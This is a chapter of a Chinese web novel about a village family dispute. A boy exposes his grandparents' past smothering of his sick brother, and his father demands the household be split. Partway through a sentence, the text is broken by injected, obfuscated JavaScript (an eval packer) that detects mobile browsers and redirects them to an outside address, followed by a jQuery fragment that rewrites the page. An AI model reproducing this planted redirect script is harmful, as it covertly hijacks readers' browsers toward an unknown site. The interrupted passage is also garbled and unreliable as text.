12. 第 12 章

作品:《恋爱脑小夫郎他又来啦!

    夫郎姓陈,说起来他东拐西绕地还和江母有着那么一点点的亲戚关系,不过在这样的村子里面除非是应扶春这样的纯外来户,否则随便两个村人之间都能沾亲带故地扯出那么一点点关联出来。


    很多年前这两人的关系还算不错,不过后来江母嫁到了大柳村里,陈夫郎则嫁了李家,自那以后两个人就没什么联系了。


    虽然江母又带着家人重新搬回了大槐村里,但村中的很多古板老人却都对于江父的行为极其不满,不少人都闹腾着要让村长将他们给逐出村子,在这年代这是一件非常严肃的事情,若是官府不查还好,要是真的较起真来说不准这一家人就会被当成流民给处置了。


    李老头就是当年闹得最厉害的几人之一。


    他是这朝代非常标准的封建家族大家长的思维,指点江山说一不二所有人都必须听我号令,不允许家里的任何人敢反抗他一句,无时无刻都要保证自己的绝对权威。


    在应扶春看来就是在外头窝囊了一辈子,只能在家里人的身上找找存在感和自尊心了。


    他这样的人当然最是无法接受江父这种以下犯上忤逆长辈的存在,他也知道陈夫郎曾经和江母有着那么一点点的关系,在确定无法将江家给赶出村子后特地在陈夫郎面前三令五申地强调了数遍不允许他和江家的人有任何接触,陈夫郎也是个听话的,只在江家刚搬来时悄悄过去看了一眼,而后两人私下里就再也没有见过面了。


    一转眼就这么多年过去,两家都有各自的事情要忙,那点本就不是特别亲密的关系自然逐渐被时间淡化,如今这两个人同陌生人也没什么差别了。


    陈夫郎当年的确有过一个孩子,要是能够活到现在应当同江三差不多大了,那孩子的死一直都是夫夫两个平时不敢提起的伤痛,村里人都不敢相信小孩的死居然与陈家的其他人有关。


    连村长都冷肃了神情,目光定定地注视着他:“阿南,你可知道你都在说些什么?”


    阿南只是一个孩子,对上他这样的目光有些害怕,却还仍旧无比坚定地应了一声:“村长爷爷,我没说谎。”


    “我真的听到小刚他们这样说了!”


    陈夫郎的第一个孩子是个小汉子,名为李阿东,村里人大多都大字不识,起名也多简单朴素。陈夫郎自嫁进李家后就一直被当成牛马使唤,身体也是亏空得厉害,进门几年才怀上了孩子,怀孕以后也没怎么得到休息,不足九月就将孩子给生了下来。


    那孩子的身体情况可想而知。


    李阿南深吸了一口气:“他们说我阿兄身子不好,村里人都说养不活他,说他这辈子都得用药仔细养着,吃药就得要花银钱。”


    “还有……还有我阿爹动不动就要放下手里的活计去照顾那个病痨子,家里的衣服没有人洗,地里的粮食没空收拾,所以他们就趁我阿爹不在家时把我阿兄给捂死了!”


    那孩子死了都快有十年了,村里面的不少人都差不多忘记有过这么一个孩子存在了,李阿南一提倒是有不少人都想了起来。


    他们这样的农户家里投生出这样的孩子……无论是对孩子自己还是对父母家庭都是莫大的痛苦折磨,李阿东是夫夫两个日日夜夜盼了好几年才盼出的孩子,陈夫郎说什么都不愿意放弃,就连素来沉默寡言只知道干活的汉子都破天荒地在李老头面前强硬了起来,否则怕是刚一诊出身体问题那孩子就要被直接扔进河里溺死了。


    那孩子死了好几年后陈夫郎才又有了李阿南,以他的年纪是断然不可能知道当年的事情的,村长的凛冽目光又朝着李家人射了过去,果然在李家人的脸上看出些许不自然来。


    李老头的脸色倒是仍旧和平时一般,但李婆子和小刚他娘却经不住诈,村长只是厉声问了两句便什么都说了——应扶春觉得她们其实也压根就没想隐藏。


    “那日我和阿眉去村后摘野菜去了,咱村里人整天都有不少事情要忙,谁知道那孩子自己在家就出了事儿啊,那讨债鬼明明就是自己死的,和我们可没有关系。”李老婆子叉腰冷哼。


    就算真的是她捂死的又能如何?就算她不是陈老大亲娘但也是他半个长辈,这年头孝道大过于天,有李老头这个亲爹挡在前面,难道村里还能为了个死了好几年的孙子处置爷奶不成?


    就算李阿南今日在众人面前将事情给说了出来也不会对李家造成什么影响,他家又没有适龄要出嫁的哥儿姑娘,小辈他们要娶媳妇也都得是十几年后了,过了十年谁还记得这码子事啊?江父要不是上山把腿给摔断了他家的事情也不会被人给再提起来。


    再说了……村里应当会有不少人家都会做出一样的决定。


    毕竟这朝代的孩子的夭折率本来就高,一场风寒就能要去不少人的性命,为了养育更多的孩子舍弃其中的某一个也不是多么罕见的事情。


    应扶春很快想明白了这些,默默在心底叹了声气。


    果然,在场的很多人都露出了认同的神情。


    时隔多年当日的事早就已经无从考证了,这一家人又抱成了一团咬死了孩子的死就是意外,阿南心里也很清楚李家人根本就不怕将这事情给暴露出来,他只跪在村长面前,擦着眼泪哭着求他:“村长爷爷,李家的人都欺负我和我阿爹,阿爷肯定不会放过我们的!我们真的没法在这家里活下去了!求求您就做个主让我们分家吧?”


    村长对此很是为难。


    大槐村是一个杂姓村子,目前村中还没有形成像其他村子那样的宗族势力,李老头有着杀猪劁猪的手艺,家庭条件在整个村里都是数一数二的,村长其实也不太想去得罪他。


    “父母在不分家,你个小兔崽子是咒老子吗?”李老头瞪起眼睛,阿南和陈夫郎条件反射般地颤抖起来,一看就知道平时没少在家里挨打。


    “丢人现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640762|172700||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼的东西!现在赶快给我滚回家里!”李老头被这么多人看着,感觉自己的脸都彻底丢光了,伸手一把拽过阿南就往不远处的房子里拖,完全不顾及陈阿南现在身子仍旧还虚弱着,他的小腿摩擦过地上的石子当即就划出了一道血痕,陈夫郎尖叫着要将他给抢回来,奈何李老头常年杀猪按猪,一把子力气远不是他一个身子不好的哥儿能比的。


    阿南一口狠狠咬住了李老头的手腕,疼得李老头当即在众人面前甩了他一个巴掌,阿南的脸立时就开始红肿起来,却依旧没有松口的意思。


    李老头脾气本就不好,被阿南这样刺激火气顿时就涌了上来,就连村长想过去拦着都被李老头给一把推出了好几步远,场面顿时混乱起来。


    江竹秋这时候也顾不上生气了,急急忙忙挪开步子往应扶春的身边靠近,生怕要是真的打了起来不小心误伤到应扶春,这些书生一个个都手无缚鸡之力弱不禁风的,村长都被推了好几步远呢,换成应扶春怕是得要直接被推飞出去了。


    江小哥儿自动忽视了应扶春提来的两个大木桶。


    “够了!”忽地有人大喝了一声。


    应扶春将视线从江竹秋身上收回,就见着这大半天都如个雕塑一般一动不动的中年汉子终于在这时有了反应,李老大趔趄着站起了身子,直直挡在李老头面前,素来沉默寡言如老牛一般踏实能干的中年汉子声音哽咽满脸是泪,一字一顿字字清晰地将他的话传到在场每个人的耳中。


    “——爹,分家吧。”


    李老头终于露出了除了愤怒以外的其他表情。


    李老大没有再看他一眼,而是转头看向了被人搀扶着的村长:“林叔,麻烦你了,今日我们一定要分家。”


    阿南震惊地松开了嘴,和他阿爹一齐回过了头。


    村长这次没有犹豫,而是用力地点了点头:“好,今日就由我在此做主,也请各位乡亲做个见证,将李家大房给分……”。


    “不行!我不同意!”李老头的怒喝直接将村长的后半句话打断。


    林村长面无表情地看了他一眼:“你不同意,我就将你们李家一家都从大槐村里赶出去。”


    他很少在村人面前这样威严,一时间村里的人都有些无所适从,李阿南被他阿爹重新抱回怀里,看起来只有五六岁的小孩面无表情地擦了擦自己嘴上的血,刚刚他这一口下去可险些将李老头的一块肉给生生撕咬下来。


    应扶春重新回忆了下所有的事情,免不得又多看了这小孩几眼。


    挺聪明的,可惜就是年纪太小了。


    不知何时偷偷蹭到了他身边的江竹秋也顺着他的目光看了过去,视线一并落在孩子的身上,他也不知是想到了什么,耳朵忽地红了起来。


    “你、你很喜欢孩子吗?”江竹秋悄悄压低声音问他。


    这一瞬间连他们两个的孩子名字都已经想到好几个了。